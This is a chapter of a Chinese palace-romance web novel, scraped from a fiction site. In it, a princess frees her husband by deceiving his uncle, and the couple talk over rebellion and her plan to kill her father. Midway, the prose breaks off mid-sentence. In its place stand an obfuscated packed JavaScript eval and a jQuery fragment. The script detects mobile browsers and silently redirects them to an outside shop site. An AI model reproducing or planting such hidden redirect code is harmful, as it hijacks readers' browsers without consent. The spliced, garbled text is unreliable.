文趣网 > 其他小说 > 软弱公主不忍了 > 53. 我十分愿意同你死在一起
    京中天气变化莫测,早上还是大晴天,下午便下起了淅沥小雨。

    述言静静立在刑部门前。

    她目光始终盯着门上的牌匾。

    “殿下在想什么?”子姜问。

    雨天街上的行人也少了许多,少了以往的喧嚷热闹。

    雨滴一重又一重地砸在伞面上,不断的噼啪声听得人心里也安静了不少。

    一阵风刮毫无预兆地刮来,吹来的雨水沾湿了述言的衫裙,她看了看周围被雨打的七零八落的花。

    她叹了口气道,“我在想有权力真好。”

    有权力什么都能做到,连颠倒黑白也只是一句话的事,有权力人连普通人的性命都能随意玩弄。

    “怪不得人人都想做皇帝,”述言道,“若是我我也……”

    后面的话实在大逆不道,述言也清楚,她识趣地闭上了嘴。

    周围再次静了下来。

    不过一会,刑部人便领着顾子渡出来了。

    述言远远望着。

    半月来,他瘦了好多。

    顾子渡脸上挂着笑着走向她。

    述言再也不想等,她抛下手中的伞,快步地奔向想念了许久的人。

    顾子渡揽住她。

    两人一时间跌在地上,却紧紧相拥。

    顾子渡捧着她的脸,他道,“我有话想对你说。”

    述言笑笑,“我知道的。”

    她说道,“我很想你。”

    二人额头相抵,说不尽的想念与挂怀在这一刻尽数不言自明。

    马车上,二人靠在一起。

    “你做了什么?”顾子渡问。

    述言又怎会不知道他问的是什么。

    “我只是用了一点点办法,就把你救出来了。”

    述言含糊其辞。

    顾子渡一脸不信。

    他道,“你要告诉我你用了什么手段,你答应过我的。”

    述言敷衍道,“有吗?我不记得了。”

    顾子渡神色十分的认真,他说道,“有,你答应过我。”

    “你说过的。”

    述言肯定道,“我没说过。”

    得罪一个有权有势的人,要承担的后果是他人想象不到的,述言本想只一人承担。

    “那现在你答应我。”

    述言快被逗笑了,“话本子里没有这样写的,这样就没有爱的感觉了。”

    别的书里有没有述言不清楚,可她看的书里的确是没有的。

    眼看瞒不住,述言干脆说了实话。

    她道,“我找了你叔父,我给了他你阿舅给我名单中的几个人的名字,他很喜欢,一下子就答应救你出来了。”

    “你……你……”

    顾子渡叹气,“那你以后呢?以后也能骗过他?”

    述言被问住了,她的确没想过以后要怎么办,一时间也不知如何回答。

    她打岔道,“你在说我蠢吗?”

    “殿下!”

    “我替你报仇,你怎么能不高兴?你又怎么能问我这样的问题?”述言问道,“你真是个没良心的负心人,我都这样掏心掏肺了,”述言别过头,委屈道,“你却这样看待我,这让我以后怎么办!”

    “我又如何相信你。”

    述言说的情真意切,委屈极了。

    顾子渡算是看透了,天下没有白得的东西。

    顾子渡直言不讳道,“你还在算计我。”

    述言赶忙移开目光,她心虚笑笑,“有吗?我怎么不知道?”

    “你就这样不信任我?”述言问道。

    顾子渡也识趣,他对眼前人实在了解,

    顾子渡道,“那不如让臣猜猜殿下的想法?”

    “不,不用。”述言拒绝道,“我可以直接告诉你的,也算是你与我交好的第一步。”

    “你骗了顾德初,对吗?”顾子渡问道。

    “对。”述言道,“我的确骗了他,我根本没有别的名单,我递给他的那些已经是我的底牌了。”

    “我骗他也是在赌,”述言道,“可你现在能站在我面前,同我好好说话,那就证明我赌对了。

    述言道,“只要结果与预期一致,我就没有做错任何事。”

    “那以后呢?以后他如果报复,你又要怎么办?”

    顾子渡的话十分尖锐,直指问题核心。

    这也是述言所担心的,如果她知道要怎么解决那就好了。

    述言随意道,“见招拆招,能活那就活,活不下去那就要另说了。”

    “再者,解法也不算难,”述言冷静道,“如果这个靠山权势不够大,那就换个权势够大的,能压制住所有人的。你同我也没有办法,无权无势时就只能依附别人,在权势的夹缝中苟且偷生。”

    她道,“到时跟着他,不过如果他不争气,我们的下场也不会太好。可如果他争气,我们也会死。”

    顾子渡快被她气笑了,他这个夫人无论如何都不会看重自己的生死。

    “公主真是大义,臣望尘莫及。”

    顾子渡明显是在说她不对。

    “你怪我?”述言问。

    “臣万万不敢。”

    述言很少见顾子渡这样,嘴硬不爱说实话,爱与人赌气。

    述言趁顾子渡不注意,飞快地亲了他一口,“有没有说过,你生气时很好玩?”

    “也可能没人见过,”述言道,“二十多岁就一副古板样子,只比我大两岁,人看着倒是老成的很,任谁看了都不会觉得你是个这样……。”

    顾子渡丝毫不示弱,吻了回来,这个吻不似以往温柔缠绵,只是轻轻一点随后一触即分。

    他吻的含蓄,丝毫不越界。

    倒是和在床上时完全不同。

    顾子渡脸红了,“剩下的事交给我就好。”

    述言一句都听不进去,注意力都放在顾子渡脸上了,“你脸红了,我从来没见过。”

    “你是不是想?”述言道,“我倒是不会拒绝你。”

    她调戏似的说道,“只是白日宣淫,还是在大庭广众之下,顾大人可是好大的胆子。”

    顾子渡也看出述言那不怀好意的小心思。

    他将人揽入怀中,“五娘既然想要我又怎会不答应,我的名声不算什么,只是怕……”

    “臣只怕殿下忍不住出声,到时……”

    述言捂住他的嘴。

    “我不喜欢和别人一起……”她犹豫道,“一起……一起……”

    她斟酌了好一会,“一起睡觉。”

    “两个人纠缠在一起很不舒服很热,”述言嘴上一点也不避讳,“我不喜欢和别人睡觉,也不喜欢和别人睡一张床,就是不喜欢。”

    顾子渡明了。

    他道,“臣知道了,臣下次会问过殿下再……”

    “你不会觉得我是不一样的吗?”述言道,“就是和别人不同,不能正常同旁人相处?”

    “哪里不同?”顾子渡和煦笑笑,“花有百色,人有千面,有些不同正是做人的独特之处。”

    顾子渡道,“五娘本身就独一无二,也无需为自己的独特而不高兴。”

    “可我偏想当个正常人,独特于我而言,算不上什么好事。”述言道。

    述言道,“当普通人多好,我倒不觉得庸庸碌碌,反倒幸福,不用每日面对不确定的以后,不用整日担惊受怕,有亲人陪伴,三五好友时不时小聚,是世上最圆满的人生。”

    顾子渡道,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566604|202381||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “是多少人梦寐以求都求不到的,五娘想的太过幸福,往往事与愿违。”

    这盆冷水并没浇灭述言的乐趣。

    “无非是钱,我会打算盘,会画画,会写诗作词。”述言道,“就算是个普通人,我也能找个不错的活计养活我。”

    “这很难。”顾子渡道。

    “我知道。”述言道,“大多数人没有我这样的出身,这些东西是连见都没见过的。”

    “我只是有些想。”

    顾子渡看出她的想法,他握住述言的手,“那就等以后,等以后没了这些风波,一切安定下来,我便辞官陪五娘去过普通人的日子,到那时候日子应是很幸福的。”

    述言想到了什么,她神情渐渐落寞下来,“我想应是不会有这一天了。”

    风波永远不会过去,只要他们活着,会喘气能吃饭,生死的选项就会永远摆在她面前,逼她作出选择。

    顾子渡道,“我觉得应是会有那一日的。”

    “但前提是活着,不要总是不将自己的命看轻。”顾子渡道,“你想我就帮你争。”

    “你想做皇帝吗?”他问。

    顾子渡语出惊人。

    “什么?”她问。

    “你想不想做皇帝?”他又问了一遍。

    “我?”述言有些懵。

    她又很快反应过来。

    “你大逆不道啊。”述言道,“你知道我们在说什么吗?你知道……”

    “谋反。”

    顾子渡对自己的目标倒是很清楚。

    “对,谋反。”述言确认了,她道,“那你知道我们的话传出去,你我会怎样吗?”

    “我,”她指指自己,“幽禁至死也算好下场。”

    “你,”她又看看他,“凌迟处死,连诛九族。”

    顾子渡平静道,“我知道。”

    “你不知道。”述言道,“我一直以为我才是那个不怕死的,没想到你才是,什么都敢想,什么都想做。”

    “就算你想好了这些,凭我们的智谋,你觉得我与你能全身而退吗?”述言质问道,“你不要命,别人是要的。”

    “你要杀你父亲,你觉得被查出来,你我会有好下场吗?”顾子渡问道,“你什么时候要过命。”

    顾子渡一针见血。

    “我杀他后,自刎谢罪,到时你把府中人都杀了,你再找个地方躲起来,来个死无对证。”述言道,“我必定要杀他,你说什么都拦不住我。”

    “你觉得我能逃过?”顾子渡道,“怕不是还没逃出去,就被抓回去陪你殉葬。”

    述言自觉对不起他。

    述言道,“我的确对不住你,你我和离,说不定还能活下来。”

    “你觉得能?”

    顾子渡显然不信。

    述言道,“只要能活下去,手段是最重要的,要活就要不惜手段的活。”

    “那你呢?”顾子渡问。

    述言的思绪乱了。

    “你总不能因为你想活,就……”

    述言也意识到不对,打住话语,她有什么权力,又有什么资格,让一个想活的人陪她去送死。

    “你想做,失败了我们都要去死。”顾子渡道,“你想我们就去做,但我们不要去死,要为自己博一条生路。”

    顾子渡的想法述言怎能不明白。

    “我……我……我不敢。”述言道,“就算成了,我也做不好一个皇帝,你知道史书会怎样说我们吗……”

    顾子渡听了这话心中却澄明。

    他道,“我知道了,我会拼尽全力帮你。”

    述言解释道,“我并不是那个意思。”

    “我明白的,”他道,“我十分愿意同你死在一起。”